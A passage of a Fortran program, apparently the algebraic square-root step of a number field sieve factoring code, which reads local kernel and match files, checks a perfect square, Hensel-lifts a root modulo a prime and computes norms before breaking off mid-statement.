text
stringlengths
2
99.9k
meta
dict
program cobgiant ! checks square root modp common ibarray(10000),isarray(1000),igarray(1000),inv(25) common mult1(10000),mult2(10000),mult3(10000),mult4(10000) common mult5(10000) common mat1(20,20),irhs1(20) common mat2(20,20),irhs2(20),jmark(20),markr(20),jx(20) common isol(20) common ip(20) common karr(1600),kbarr(1600),kcarr(3200),ipqt(1600),irrr(1600) common mnum(50) common ia5(5),ia4(5),ia3(5),ia2(5),ia1(5),ia0(5),m1(5),m2(5) common kara(50),karb(50),kard(50),karp(50),karv(50) common iarq(2) common kmpol(6,20) common kdoub1(6,1600),kdoub2(6,1600),kdoub3(12,3200) common ipowar(1600) dimension kdsol(5,1600),jpowar(1600),kbper(5,500),iroot(12,1600) dimension mpol(6),ipol(6),idbarr(12,12),iper(6),ibper(6) dimension niv(1000),match(2000),litd(1000),litt(1000),n(100) dimension mm40(100),mm31(100),mm22(100),mm13(100),mm04(100) dimension norma(1000),nrem(100),ipre(1000),icurr(1000) dimension ires(100),icdh(100),mh2(100),mpow1(5,100),mpow2(5,100) dimension normar(100),kans(200),ipr(65000),ibin(5) open(unit=8,file='kernel2',access='direct',form=& 'formatted',recl=2610,status='old') kmx=522 read(8,1,rec=1)(niv(jk),jk=1,kmx) print *,'niv',(niv(jk),jk=1,kmx) close(unit=8) open(unit=2,file='matches2',access='direct',form=& 'formatted',recl=5220,status='old') read(2,2,rec=1)(match(jk),jk=1,kmx*2) print *,'ok0' close(unit=2) open(unit=1,file='recl.dat',access='direct',form=& 'formatted',recl=390000,status='old') read(1,1005,rec=1)(ipr(jf),jf=1,65000) 1005 format(65000i6) print *,'ok1' ! stop ibin(1)=0 ibin(2)=0 ibin(3)=1 ibin(4)=0 ibin(5)=0 kmx=522 mab=kmx ! read(7,1,rec=1)(niv(jk),jk=1,kmx) 1 format(522i5) ! print *,'niv',(niv(jk),jk=1,kmx) ! read(2,2,rec=1)(match(jk),jk=1,kmx*2) 2 format(1044i5) close(unit=1) n(1)=0 n(2)=4 n(3)=2 n(4)=8959 n(5)=4603 n(6)=4323 ia5(1)=1 ia5(2)=1 ia5(3)=191 ia4(1)=0 ia4(2)=1 ia4(3)=118 ia3(1)=0 ia3(2)=1 ia3(3)=39 ia2(1)=0 ia2(2)=1 ia2(3)=85 ia1(1)=0 ia1(2)=1 ia1(3)=105 ia0(1)=0 ia0(2)=1 ia0(3)=11 m1(1)=0 m1(2)=1 m1(3)=120 m2(1)=0 m2(2)=1 m2(3)=113 litd(1)=0 litd(2)=1 litd(3)=1 iconty=0 mab=200 do i=1,kmx if (niv(i).eq.0)goto 700 iconty=iconty+1 ilen=1 kia=match(2*i-1) if (kia.gt.0)goto 651 isgn=1 goto 652 651 isgn=0 652 karr(1)=abs(kia) ilen=1 ilen2=m2(2) do jf=3,m2(2)+2 kbarr(jf-2)=m2(jf) end do print *,karr(1),ilen,kbarr(1),ilen2 call mpmul(ilen,ilen2,ilen3) litt(2)=ilen3 do jf=1,ilen3 litt(jf+2)=kcarr(jf) end do litt(1)=mod(m2(1)+isgn,2) ilen=1 print *,'firlit',(litt(jf),jf=1,litt(2)+2) kib=match(i*2) if (kib.gt.0)goto 653 isgn=1 goto 654 653 isgn=0 654 karr(1)=abs(kib) ilen2=m1(2) do jf=1,ilen2 kbarr(jf)=m1(jf+2) end do call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(1)=mod(m1(1)+isgn,2) do jf=1,litt(2)+2 karr(jf)=litt(jf) end do call mpadd(1) do jf=1,kcarr(2)+2 litt(jf)=kcarr(jf) end do print *,'kia=',kia,'kib=',kib,'litt',(litt(jf),jf=1,litt(2)+2) ilen=litd(2) ilen2=litt(2) do jf=1,ilen karr(jf)=litd(jf+2) end do do jf=1,ilen2 kbarr(jf)=litt(jf+2) end do call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 litd(jf+2)=kcarr(jf) end do litd(2)=ilen3 litd(1)=mod(litd(1) +litt(1),2) 700 end do print *,'litd',(litd(jf),jf=1,litd(2)+2) ! compute rational integer square root do j=1,litd(2)+2 ipre(j)=litd(j) end do 720 do j=3,litd(2)+2 karr(j-2)=litd(j) end do ilen=litd(2) do j=3,ipre(2)+2 kbarr(j-2)=ipre(j) end do ilen2=ipre(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) do j=1,icont kbarr(j+2)=ipqt(j) end do kbarr(2)=icont kbarr(1)=0 do j=1,ipre(2)+2 karr(j)=ipre(j) end do call mpadd(0) do j=3,kcarr(2)+2 karr(j-2)=kcarr(j) end do ilen=kcarr(2) ilen2=1 kbarr(1)=2 call mpdiv(ilen,ilen2,irlen,icont,iswq) do j=1,icont icurr(j+2)=ipqt(j) end do icurr(2)=icont icurr(1)=0 if(icurr(2).lt.ipre(2))goto 730 do j=3,ipre(2)+2 if (icurr(j).lt.ipre(j))goto 730 end do goto 732 730 do j=1,icurr(2)+2 ipre(j)=icurr(j) end do go to 720 732 print *,'int. root',(icurr(jf),jf=1,icurr(2)+2) do j=3,icurr(2)+2 karr(j-2)=icurr(j) kbarr(j-2)=icurr(j) end do ilen=icurr(2) ilen2=ilen call mpmul(ilen,ilen2,ilen3) print *,'chsq',(kcarr(jf),jf=1,ilen3) if(ilen3.ne.litd(2))goto 740 do j=1,ilen3 if (kcarr(j).ne.litd(j+2))goto 740 end do goto 742 740 print *,'not perfect square' stop 742 print *,'square ok' do j=3,n(2)+2 kbarr(j-2)=n(j) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 744 do j=1,irlen ires(j+2)=irrr(j) end do 744 ires(1)=0 ires(2)=irlen print *,'ires=',(Ires(jf),jf=1,ires(2)+2) open(unit=3,file='square2',access='direct',form=& 'formatted',recl=2000,status='old') open(unit=4,file='minpol2',access='direct',form& ='formatted',recl=80,status='old') read(4,4,rec=6)(kans(jf),jf=1,20) print *,'kans',(kans(jf),jf=1,20) idprod=4 do i=1,idprod+1 read(3,3,rec=i)(kbper(i,jf),jf=1,500) if (i.ne.5)goto 1007 print *,(kbper(i,jf),jf=1,kbper(i,2)+2) 3 format(500i4) 1007 end do do i=1,idprod+1 read(4,4,rec=i)(kmpol(i,jf),jf=1,20) 4 format(20i4) end do print *,'kmpol1',(kmpol(1,jf),jf=1,kmpol(1,2)+2) ipold=idprod+2 idegm=idprod idegn=idprod idd=idprod+1 ! start of big loop for primes do lmain=100,300 ipd=ipr(lmain) ! ipd=557 call subbw6(ipd,22,iv) print *,'iv',iv kbarr(1)=1 kbarr(2)=8769 ilen2=2 do i=1,idd do j=3,kbper(i,2)+2 karr(j-2)=kbper(i,j) end do ilen=kbper(i,2) call mpdiv(ilen,ilen2,irlen,icont,iswq) print *,(irrr(jf),jf=1,irlen) end do kbarr(1)=ipd ilen2=1 do i=1,idprod+1 do j=3,kmpol(i,2)+2 karr(j-2)=kmpol(i,j) end do ilen=kmpol(i,2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 6 ipol(i+1)=irrr(1) if (kmpol(i,1).eq.0)goto 601 ipol(i+1)=ipd-ipol(i+1) goto 601 6 ipol(i+1)=0 601 end do print *,(ipol(jf),jf=2,6) do i=1,idd ilen=kbper(i,2) do j=3,kbper(i,2)+2 karr(j-2)=kbper(i,j) end do call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 5 mult1(i)=irrr(1) if (kbper(i,1).eq.0)goto 501 mult1(i)=ipd-mult1(i) goto 501 5 mult1(i)=0 501 end do print *,'mulz',(mult1(jf),jf=1,idd) ii =1 do i =1,idd mat2(i,idd-1) = mult1(i) end do do i =1,idd mult2(i) =mult1(i) iper(i) =mult1(i) end do 10 call multy(idegm,idegn,ipd) idegg=idegm +idegn print *,'nmult3',(mult3(jk),jk=1,idegg+1) ii = ii +1 if (ii.lt.idd )goto 12 goto 14 12 do j =1,idegg-idegm mul=mult3(j) do i =1,idd mult3(j) =0 mult3(i+j)=mult3(i+j) +mul *ipol(i+1) *(-1) mult3(i+j)=mod(mult3(i+j),ipd) if (mult3(i+j).ge.0)goto 1001 mult3(i+j)=mult3(i+j)+ipd 1001 end do print *,'try1',(mult3(jk),jk=1,idegg+1) end do do i = 1,idd mat2(i,idd -ii)=mult3(i+idegm) mult1(i)=mult3(i+idegm) end do goto 10 14 do i =1,idd -1 mat2(i,idd)=0 end do print *,'idegg',idegg,mult3(1),mult3(2),mult3(3),mult3(4),& mult3(5) mat2(i,idd) =1 do i =1,ipold mpol(i) = -1 * ipol(i) end do do j = 1,idegg-idegm mul =mult3(j) print *,'mul',mul,mpol(1),mpol(2) do i =1,idd mult3(j) =0 mult3(i+j) =mult3(i+j) +mul *mpol(i+1) mult3(i+j)=mod(mult3(i+j),ipd) end do end do do i =1,idd irhs2(i) =mult3(i+idegg-idegm) end do do i =1,idd do j =1,idd if (mat2(i,j).ge.0)goto 20 mat2(i,j) =mat2(i,j) +ipd 20 end do if (irhs2(i).ge.0)goto 22 irhs2(i) =irhs2(i) +ipd 22 end do do i=1,idd print *,'firmx',(mat2(i,jk),jk=1,idd),irhs2(i) end do call subbw3(idd,ipd) print *,'firsl',(isol(jk),jk=1,idd) print *,'ipd=',ipd if (ipd.eq.1)goto 10059 do i =1,20 ip(I) =0 end do do i =1,idd ip(2*i ) =isol(i) *(-1) end do idegd = idd*2 call subbw2(idegd,ipd,idegr) print *,'mainidegg',idegr,'idegd',idegd print *,igarray(1),igarray(2),igarray(3),igarray(4) print *,'isars',isarray(1),isarray(2),isarray(3),isarray(4),& isarray(5),isarray(6),isarray(7) if (idegr.eq.idd)goto 1006 ! this is end of prime test loop 10059 end do 1006 do i =1,10 do j =1,10 idbarr(i,j) =0 end do end do do i= 1,idd mult2(i) =iper(i) end do do i =1,idegr+1 idbarr(i,idd) =igarray(i) end do do lop =1,idegr -1 do i=1,idd mult1(i) = idbarr(lop,i) end do call multy(idegm,idegn,ipd) print *,'mult3',mult3(1),mult3(2),mult3(3),mult3(4),mult3(5) do j =1,idegg-idegm mul=mult3(j) do i=1,idd mult3(j) =0 mult3(i+j) =mult3(i+j) +mul *mpol(i+1) mult3(i+j)=mod(mult3(i+j),ipd) end do end do do i =1,idd mult3(i) =mult3(i +idegm) end do do i =1,idd idbarr(lop +2,i) =idbarr(lop +2,i) +mult3(i) idbarr(lop+2,i) =mod(idbarr(lop+2,i),ipd) end do end do do lop =1,idegr +1 print *,'darrays',(idbarr(lop,jf),jf=1,idd) end do do i=1,idd idbarr(idegr+1,i) =ipd -idbarr(idegr+1,i) end do do i=1,idd if (idbarr(idegr,i).ne.0)goto 30 end do goto 999 30 do k =1,idegm do i =1,idd +idegm mult3(i) =0 end do do i=1,idd mult3(i) =idbarr(idegr,i) end do do j=1,k mul =mult3(j) do i =1,idd mult3(j) =0 mult3(i+j)=mult3(i+j) +mul*mpol(i+1) mult3(i+j)=mod(mult3(i+j),ipd) if (mult3(i+j).ge.0)goto 3001 mult3(i+j)=mult3(i+j)+ipd 3001 end do end do do i =1,idd mat2(i,idd-k) =mult3(i+k) end do end do do i=1,idd mat2(i,idd) =idbarr(idegr,i) mat2(i,idd)=mod(mat2(i,idd),ipd) if (mat2(i,idd).ge.0)goto 3002 mat2(i,idd)=mat2(i,idd)+ipd 3002 end do do i=1,idd irhs2(i) =idbarr(idegr+1,i) irhs2(i)=mod(irhs2(i),ipd) if (irhs2(i).ge.0)goto 3003 irhs2(i)=irhs2(i)+ipd 3003 end do do i=1,idd print *,(mat2(i,jf),jf=1,idd),irhs2(i) end do call subbw3(idd,ipd) print *,'solfir',(isol(jf),jf=1,idd) print *,'ipd=',ipd ! check square root print *,'idegm',idegm,'idegn',idegn do i=1,idd mult1(i)=isol(i) mult2(i)=isol(i) end do call multy(idegm,idegn,ipd) idegg =idegm+idegn do j=1,idegg-idegm mul=mult3(j) do i=1,idd mult3(j)=0 mult3(i+j)=mult3(i+j)+mul*ipol(i+1)*(-1) mult3(i+j)=mod(mult3(i+j),ipd) if (mult3(i+j).ge.0)goto 2991 mult3(i+j)=mult3(i+j)+ipd 2991 end do end do do i=1,idd mult1(i)=mult3(i+idegm) end do print *,'ch',(mult1(jk),jk=1,idd) ! compute inverse of square root mod p do k=1,idegm do i=1,idd+idegm mult3(i)=0 end do do i=1,idd mult3(i)=isol(i) end do do j=1,k mul=mult3(j) do i=1,idd mult3(j)=0 mult3(i+j)=mult3(i+j)+mul*mpol(i+1) mult3(i+j)=mod(mult3(i+j),ipd) if (mult3(i+j).ge.0)goto 1008 mult3(i+j)=mult3(i+j)+ipd 1008 end do end do do i=1,idd mat2(i,idd-k)=mult3(i+k) end do end do do i=1,idd mat2(i,idd)=isol(i) end do do i=1,idegm irhs2(i)=0 end do irhs2(idd)=1 do i=1,idd print *,(mat2(i,jk),jk=1,idd) end do call subbw3(idd,ipd) print *,'sol2',(isol(jk),jk=1,idd) ! perform lifts 199 do i=1,idd kdsol(i,3)=isol(i) kdsol(i,2)=1 if(isol(i).ge.0)goto 200 kdsol(i,1)=1 goto 201 200 kdsol(i,1)=0 201 end do ipowar(1)=0 ipowar(2)=1 ipowar(3)=ipd idegm=idprod idegn=idprod do k=1,9 ilen=ipowar(2) ilen2=ilen do jf=3,ilen+2 karr(jf-2)=ipowar(jf) kbarr(jf-2)=ipowar(jf) end do call mpmul(ilen,ilen2,ilen3) ipowar(2)=ilen3 do jf=1,ilen3 ipowar(jf+2)=kcarr(jf) end do 301 do i=1,idd do jf=1,kdsol(i,2)+2 kdoub1(i,jf)=kdsol(i,jf) kdoub2(i,jf)=kdsol(i,jf) end do end do idegp=idprod +1 call doubmul(idegm,idegn,idegp,idprod) call modmul(idprod) do i=1,idd print *,'now',(kdoub3(i,jk),jk=1,kdoub3(i,2)+2) end do do j=1,idegm+1 do jf=1,kdoub3(j,2)+2 kdoub1(j,jf)=kdoub3(j,jf) end do end do do i=1,idd do jf=1,kbper(i,2)+2 kdoub2(i,jf)=kbper(i,jf) end do end do call doubmul(idegm,idegn,idegp,idprod) call modmul(idprod) do i=1,idd do jf=1,kdoub3(i,2)+2 kdoub1(i,jf)=kdoub3(i,jf) end do print *,'ldoub',(kdoub1(i,jk),jk=1,kdoub1(i,2)+2) 998 end do do jf=1,kdoub1(idd,2)+2 kbarr(jf)=kdoub1(idd,jf) end do karr(1)=0 karr(2)=1 karr(3)=3 call mpadd(1) do jf=1,kcarr(2)+2 kdoub1(idd,jf)=kcarr(jf) end do do i=1,idegm kdoub1(i,1)=mod(kdoub1(i,1)+1,2) end do do i=1,idd do jf=1,kdsol(i,2)+2 kdoub2(i,jf)=kdsol(i,jf) end do end do call doubmul(idegm,idegn,idegp,idprod) call modmul(idprod) do i=1,idd do jf=1,kdoub3(i,2)+2 kdoub2(i,jf)=kdoub3(i,jf) end do end do ilen=ipowar(2) do jf=1,ilen karr(jf)=ipowar(jf+2) end do ilen2=1 kbarr(1)=2 call mpdiv(ilen,ilen2,irlen,icont,iswq) do jf=1,icont karr(jf+2)=ipqt(jf) end do karr(1)=0 karr(2)=icont kbarr(1)=0 kbarr(2)=1 kbarr(3)=1 call mpadd(0) do jf=1,kcarr(2)+2 kdoub1(1,jf)=kcarr(jf) end do call doubmul(0,idegn,idegp,idprod) call modmul(idprod) do i=1,idd do j=1,kdoub3(i,2)+2 kdsol(i,j)=kdoub3(i,j) end do print *,'solus',(kdsol(i,jf),jf=1,kdsol(i,2)+2) end do print *,'power',(ipowar(jf),jf=1,ipowar(2)+2) end do ! end of lift procedure ! start of check square root procedure do i=1,idd do j=1,kdsol(i,2)+2 kdoub1(i,j)=kdsol(i,j) end do do j=1,kbper(i,2)+2 kdoub2(i,j)=kbper(i,j) end do end do call doubmul(idegm,idegn,idegp,idprod) call modmul(idprod) do i=1,idd print *,'checks',(kdoub3(i,jf),jf=1,kdoub3(i,2)+2) end do print *,'rootlengths',(kdoub3(i,2),i=1,5) do i=1,idd do j=1,kdoub3(i,2)+2 iroot(i,j)=kdoub3(i,j) kdoub1(i,j)=kdoub3(i,j) kdoub2(i,j)=kdoub3(i,j) end do end do call doubmul(idegm,idegn,idegp,idprod) call modmul(idprod) do i=1,idd if (i.ne.1)goto 1918 print *,'square',(kdoub3(i,jk),jk=1,kdoub3(i,2)+2) 1918 end do do i=1,idd if (iroot(i,2).lt.ipowar(2))goto 1100 do jf=1,ipowar(2) +2 kbarr(jf)=ipowar(jf) end do do jf=1,iroot(i,2)+2 karr(jf)=iroot(i,jf) end do call mpadd(1) do jf=1,kcarr(2)+2 iroot(i,jf)=kcarr(jf) end do 1100 end do do i=1,idd print *,'roots',(iroot(i,jk),jk=1,iroot(i,2)+2) end do print *,'rootlengths2',(iroot(i,2),i=1,idd) do i=1,idd print *,(iroot(i,jf),jf=1,5) end do print *,'startipowar',(ipowar(jf),jf=1,5) do i=1,idd do jf=1,iroot(i,2)+2 kdoub1(i,jf)=iroot(i,jf) kdoub2(i,jf)=iroot(i,jf) end do end do call doubmul(idegm,idegn,idegp,idprod) do i=1,idd print *,'raised squares',(kdoub3(i,jf),jf=1,kdoub3(i,2)+2) end do do jf=1,m1(2)+2 mpow1(1,jf)=m1(jf) end do do jf=1,m2(2)+2 mpow2(1,jf)=m2(jf) end do do jf=3,m1(2)+2 karr(jf-2)=m1(jf) kbarr(jf-2)=m1(jf) end do ilen=m1(2) ilen2=m1(2) do i=2,idd-1 call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen karr(jf)=kcarr(jf) end do do jf =3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 1509 do jf=1,irlen karr(jf)=irrr(jf) mpow1(i,jf+2)=irrr(jf) end do do jf=3,m1(2)+2 kbarr(jf-2)=m1(jf) end do ilen2=m1(2) mpow1(i,2)=irlen mpow1(i,1)=mod(m1(1)*i,2) ilen=irlen end do goto 1510 1509 print *,'error in m1' stop 1510 do jf=3,m2(2)+2 karr(jf-2)=m2(jf) kbarr(jf-2)=m2(jf) end do ilen=m2(2) ilen2=m2(2) do i=2,idd-1 call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 1519 do jf=1,irlen karr(jf)=irrr(jf) mpow2(i,jf+2)=irrr(jf) end do ilen=irlen mpow2(i,2)=irlen mpow2(i,1)=mod(m2(1)*i,2) ilen2=m2(2) do jf=3,ilen2+2 kbarr(jf-2)=m2(jf) end do end do goto 1520 1519 print *,'error in m2' stop 1520 print *,'m14',(mpow1(4,jf),jf=1,mpow1(4,2)+2) print *,'m23',(mpow2(3,jf),jf=1,mpow2(3,2)+2) do jf=1,100 normar(jf)=0 end do if (ia5(2).eq.0)goto 1522 do jf=3,ia5(2)+2 karr(jf-2)=ia5(jf) end do ilen=ia5(2) do jf=3,mpow1(4,2)+2 kbarr(jf-2)=mpow1(4,jf) end do ilen2=mpow1(4,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do kbarr(1)=5 ilen2=1 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 normar(jf+2)=kcarr(jf) end do normar(2)=ilen3 normar(1)=mod(ia5(1)+mpow1(4,1),2) print *,'normar1',(normar(jf),jf=1,normar(2)+2) 1522 if (ia4(2).eq.0)goto 1524 do jf=3,ia4(2)+2 karr(jf-2)=ia4(jf) end do ilen=ia4(2) do jf=3,mpow1(3,2)+2 kbarr(jf-2)=mpow1(3,jf) end do ilen2=mpow1(3,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do do jf=3,mpow2(1,2)+2 kbarr(jf-2)=mpow2(1,jf) end do ilen2=mpow2(1,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do kbarr(1)=4 ilen2=1 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(2)=ilen3 kbarr(1)=mod(ia4(1)+mpow1(3,1)+mpow2(1,1),2) do jf=1,normar(2)+2 karr(jf)=normar(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 normar(jf)=kcarr(jf) end do print *,'normar2',(normar(jf),jf=1,normar(2)+2) 1524 if (ia3(2).eq.0)goto 1526 do jf=3,ia3(2)+2 karr(jf-2)=ia3(jf) end do ilen=ia3(2) do jf=3,mpow1(2,2)+2 kbarr(jf-2)=mpow1(2,jf) end do ilen2=mpow1(2,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do do jf=3,mpow2(2,2)+2 kbarr(jf-2)=mpow2(2,jf) end do ilen2=mpow2(2,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do kbarr(1)=3 ilen2=1 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(2)=ilen3 kbarr(1)=mod(ia3(1)+mpow1(2,1) +mpow2(2,1),2) do jf=1,normar(2)+2 karr(jf)=normar(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 normar(jf)=kcarr(jf) end do print *,'normar3',(normar(jf),jf=1,normar(2)+2) 1526 if (ia2(2).eq.0)goto 1528 do jf=3,ia2(2)+2 karr(jf-2)=ia2(jf) end do ilen=ia2(2) do jf=3,mpow1(1,2)+2 kbarr(jf-2)=mpow1(1,jf) end do ilen2=mpow1(1,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do do jf=3,mpow2(3,2)+2 kbarr(jf-2)=mpow2(3,jf) end do ilen2=mpow2(3,2) call mpmul(ilen,ilen2,ilen3) ilen=ilen3 do jf=1,ilen3 karr(jf)=kcarr(jf) end do kbarr(1)=2 ilen2=1 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(2)=ilen3 kbarr(1)=mod(ia2(1)+mpow1(1,1) +mpow2(3,1),2) do jf=1,normar(2)+2 karr(jf)=normar(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 normar(jf)=kcarr(jf) end do print *,'normar4',(normar(jf),jf=1,normar(2)+2) 1528 if (ia1(2).eq.0)goto 1530 do jf=3,ia1(2)+2 karr(jf-2)=ia1(jf) end do ilen=ia1(2) do jf=3,mpow2(4,2)+2 kbarr(jf-2)=mpow2(4,jf) end do ilen2=mpow2(4,2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(2)=ilen3 kbarr(1)=mod(ia1(1)+mpow2(4,1),2) do jf=1,normar(2)+2 karr(jf)=normar(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 normar(jf)=kcarr(jf) end do print *,'normar5',(normar(jf),jf=1,normar(2)+2) 1530 do jf=3,normar(2)+2 karr(jf-2)=normar(jf) end do do jf=3,n(2)+2 kbarr(jf-2)=n(jf) end do ilen=normar(2) ilen2=n(2) call mpdiv(ilen,ilen2,irlen,icont,iswq) if (irlen.eq.0)goto 1532 do jf=1,irlen normar(jf+2)=irrr(jf) end do normar(2)=irlen goto 1533 1532 print *,'irregular derivative' stop 1533 print *,'derivative=',(normar(jf),jf=1,normar(2)+2) do jf=3,mpow1(3,2)+2 karr(jf-2)=mpow1(3,jf) end do ilen=mpow1(3,2) do jf=3,mpow2(1,2)+2 kbarr(jf-2)=mpow2(1,jf) end do ilen2=mpow2(1,2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 mm31(jf+2)=kcarr(jf) end do mm31(1)=mod(mpow1(3,1)+mpow2(1,1),2) mm31(2)=ilen3 do jf=3,mpow1(2,2)+2 karr(jf-2)=mpow1(2,jf) end do ilen=mpow1(2,2) do jf=3,mpow2(2,2)+2 kbarr(jf-2)=mpow2(2,jf) end do ilen2=mpow2(2,2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 mm22(jf+2)=kcarr(jf) end do mm22(2)=ilen3 mm22(1)=mod(mpow1(2,1)+mpow2(2,1),2) do jf=3,mpow1(1,2)+2 karr(jf-2)=mpow1(1,jf) end do ilen=mpow1(1,2) do jf=3,mpow2(3,2)+2 kbarr(jf-2)=mpow2(3,jf) end do ilen2=mpow2(3,2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 mm13(jf+2)=kcarr(jf) end do mm13(2)=ilen3 mm13(1)=mod(mpow1(1,1)+mpow2(3,1),2) print *,'mm13fir=',(mm13(jf),jf=1,mm13(2)+2) do jf=3,mpow1(4,2)+2 karr(jf-2)=mpow1(4,jf) end do ilen=mpow1(4,2) do jf=3,ia5(2)+2 kbarr(jf-2)=ia5(jf) end do ilen2=ia5(2) do i=1,idd-1 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 end do do jf=1,ilen mm40(jf+2)=karr(jf) end do mm40(2)=ilen mm40(1)=mod(ia5(1)*4+mpow1(4,1)*4,2) print *,'mm40=',(mm40(jf),jf=1,mm40(2)+2) do jf=3,mm31(2)+2 karr(jf-2)=mm31(jf) end do ilen=mm31(2) do i=1,idd-2 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 end do do jf=1,ilen mm31(jf+2)=karr(jf) end do mm31(2)=ilen mm31(1)=mod(ia5(1)*3+mm31(1),2) print *,'mm31=',(mm31(jf),jf=1,mm31(2)+2) do jf=3,mm22(2)+2 karr(jf-2)=mm22(jf) end do ilen=mm22(2) do i=1,idd-3 call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 karr(jf)=kcarr(jf) end do ilen=ilen3 end do do jf=1,ilen mm22(jf+2)=karr(jf) end do mm22(1)=mod(ia5(1)*2+mm22(1),2) mm22(2)=ilen print *,'mm22',(mm22(jf),jf=1,mm22(2)+2) do jf=3,mm13(2)+2 karr(jf-2)=mm13(jf) end do ilen=mm13(2) call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 mm13(jf+2)=kcarr(jf) end do mm13(1)=mod(ia5(1)+mm13(1),2) mm13(2)=ilen3 print *,'mm13=',(mm13(jf),jf=1,mm13(2)+2) do jf=1,mpow2(4,2)+2 mm04(jf)=mpow2(4,jf) end do print *,'mm04=',(mm04(jf),jf=1,mm04(2)+2) do jf=3,iroot(1,2)+2 karr(jf-2)=iroot(1,jf) end do ilen=iroot(1,2) ilen2=mm40(2) do jf=3,mm40(2)+2 kbarr(jf-2)=mm40(jf) end do call mpmul(ilen,ilen2,ilen3) do jf=1,ilen3 norma(jf+2)=kcarr(jf) end do norma(2)=ilen3 norma(1)=mod(iroot(1,1)+mm40(1),2) print *,'norma1',(norma(jf),jf=1,norma(2)+2) ilen=iroot(2,2) do jf=1,ilen karr(jf)=iroot(2,jf+2) end do ilen2=mm31(2) do jf=1,ilen2 kbarr(jf)=mm31(jf+2) end do call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(1)=mod(iroot(2,1)+mm31(1),2) do jf=1,norma(2)+2 karr(jf)=norma(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 norma(jf)=kcarr(jf) end do print *,'norma2',(norma(jf),jf=1,norma(2)+2) ilen=iroot(3,2) do jf=1,ilen karr(jf)=iroot(3,jf+2) end do ilen2=mm22(2) do jf=1,ilen2 kbarr(jf)=mm22(jf+2) end do call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(1)=mod(iroot(3,1)+mm22(1),2) do jf=1,norma(2)+2 karr(jf)=norma(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 norma(jf)=kcarr(jf) end do print *,'norma3',(norma(jf),jf=1,norma(2)+2) ilen=iroot(4,2) do jf=1,ilen karr(jf)=iroot(4,jf+2) end do ilen2=mm13(2) do jf=1,ilen2 kbarr(jf)=mm13(jf+2) end do call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(1)=mod(iroot(4,1)+mm13(1),2) do jf=1,norma(2)+2 karr(jf)=norma(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 norma(jf)=kcarr(jf) end do print *,'norma4',(norma(jf),jf=1,norma(2)+2) ilen=iroot(5,2) do jf=1,ilen karr(jf)=iroot(5,jf+2) end do ilen2=mm04(2) print *,'lens',ilen,ilen2,(mm04(jf),jf=1,mm04(2)+2) do jf=1,ilen2 kbarr(jf)=mm04(jf+2) end do print *,'firkbar',(kbarr(jf),jf=1,ilen2) call mpmul(ilen,ilen2,ilen3) kbarr(2)=ilen3 do jf=1,ilen3 kbarr(jf+2)=kcarr(jf) end do kbarr(1)=mod(iroot(5,1)+mm04(1),2) print *,'seckbar',(kbarr(jf),jf=1,ilen3) do jf=1,norma(2)+2 karr(jf)=norma(jf) end do call mpadd(0) do jf=1,kcarr(2)+2 norma(jf)=kcarr(jf) end do print *,'norma5',(norma(jf),jf=1,norma(2)+2) do jf=3,kcarr(2)+2 karr(jf-2)=kcarr(jf) end do ilen=kcarr(2) ilen2=n(2) do jf=1,ilen2 kbarr(jf)=n(jf+2) end do print *,'karrs',(karr(jf),jf=1,ilen) print 